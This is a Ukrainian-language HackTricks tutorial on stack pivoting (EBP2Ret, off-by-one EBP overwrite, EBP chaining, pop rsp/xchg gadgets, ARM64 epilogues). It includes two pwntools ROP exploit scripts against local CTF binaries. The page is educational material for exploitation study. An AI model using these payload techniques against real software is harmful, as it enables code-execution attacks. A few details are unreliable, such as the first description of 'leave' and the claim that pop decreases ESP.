Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
Ця техніка використовує можливість маніпулювати Base Pointer (EBP) для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкційної послідовності leave; ret
.
Нагадаємо, що leave
в основному означає:
mov ebp, esp
pop ebp
ret
І як EBP знаходиться в стеку перед EIP, можливо контролювати його, контролюючи стек.
EBP2Ret
Ця техніка особливо корисна, коли ви можете змінити регістр EBP, але не маєте прямого способу змінити регістр EIP. Вона використовує поведінку функцій, коли вони закінчують виконання.
Якщо під час виконання fvuln
вам вдасться ввести фальшивий EBP у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції pop
), ви можете непрямо контролювати EIP. Коли fvuln
повертається, ESP встановлюється на це створене місце, а наступна операція pop
зменшує ESP на 4, ефективно вказуючи на адресу, збережену атакуючим там.
Зверніть увагу, що вам потрібно знати 2 адреси: ту, куди ESP буде йти, де вам потрібно буде записати адресу, на яку вказує ESP.
Конструкція експлойту
Спочатку вам потрібно знати адресу, куди ви можете записати довільні дані / адреси. ESP буде вказувати сюди і виконає перший ret
.
Потім вам потрібно знати адресу, яку використовує ret
, що виконає довільний код. Ви можете використовувати:
- Дійсну ONE_GADGET адресу.
- Адресу
system()
, за якою йдуть 4 байти сміття та адреса"/bin/sh"
(x86 біт). - Адресу
jump esp;
гаджета (ret2esp), за яким йде shellcode для виконання. - Деяку ROP ланцюг
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій частині пам'яті повинно бути 4
байти через pop
частину інструкції leave
. Було б можливо зловживати цими 4B, щоб встановити другий фальшивий EBP і продовжити контролювати виконання.
Off-By-One Exploit
Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете змінити лише найменш значущий байт EBP. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з ret
, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію з більш обмеженими умовами.
Зазвичай змінюється байт 0x00, щоб стрибнути якомога далі.
Також поширено використовувати RET sled у стеку та поміщати реальний ROP ланцюг в кінець, щоб підвищити ймовірність того, що новий ESP вказує всередину RET SLED, і фінальний ROP ланцюг виконується.
EBP Chaining
Отже, поміщаючи контрольовану адресу в запис EBP стека та адресу для leave; ret
в EIP, можливо перемістити ESP
на контрольовану адресу EBP зі стека.
Тепер ESP
контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - це RET
. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
&(next fake EBP)
-> Завантажити новий EBP черезpop ebp
з інструкціїleave
system()
-> Викликаний черезret
&(leave;ret)
-> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову&("/bin/sh")
-> Параметр дляsystem
В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.
Це схоже на ret2lib, але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
Більше того, ось вам приклад завдання, яке використовує цю техніку з витоком стека, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP може не використовуватись
Як пояснено в цьому пості, якщо бінарний файл скомпільовано з деякими оптимізаціями, EBP ніколи не контролює ESP, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту.
Це пов'язано з тим, що пролог і епілог змінюються, якщо бінарний файл оптимізовано.
- Не оптимізовано:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Оптимізовано:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Інші способи контролю RSP
pop rsp
гаджет
На цій сторінці ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був pop rsp
гаджет та є leak з стеку:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Перевірте техніку ret2esp тут:
Посилання та інші приклади
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стеку і використайте WWW, щоб повернутися і отримати leak pie. Потім використайте WWW, щоб створити вічний цикл, зловживаючи записами
.fini_array
+ викликом__libc_csu_fini
(більше інформації тут). Зловживаючи цим "вічним" записом, записується ROP-ланцюг у .bss і в кінці викликається, підіймаючись з RBP.
ARM64
В ARM64, пролог і епілог функцій не зберігають і не відновлюють реєстр SP у стеку. Більше того, інструкція RET
не повертає за адресою, на яку вказує SP, а за адресою всередині x30
.
Отже, за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати реєстр SP, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб контролювати реєстр x30
.
- пролог
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP вказує на запис кадру
- епілог
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
увага
Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість контролювати SP
(контролюючи якийсь реєстр, значення якого передається до SP
, або через те, що з якоїсь причини SP
бере свою адресу зі стеку, і у нас є переповнення) і потім зловживати епілогом, щоб завантажити реєстр x30
з контрольованого SP
і RET
до нього.
Також на наступній сторінці ви можете побачити еквівалент Ret2esp в ARM64:
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.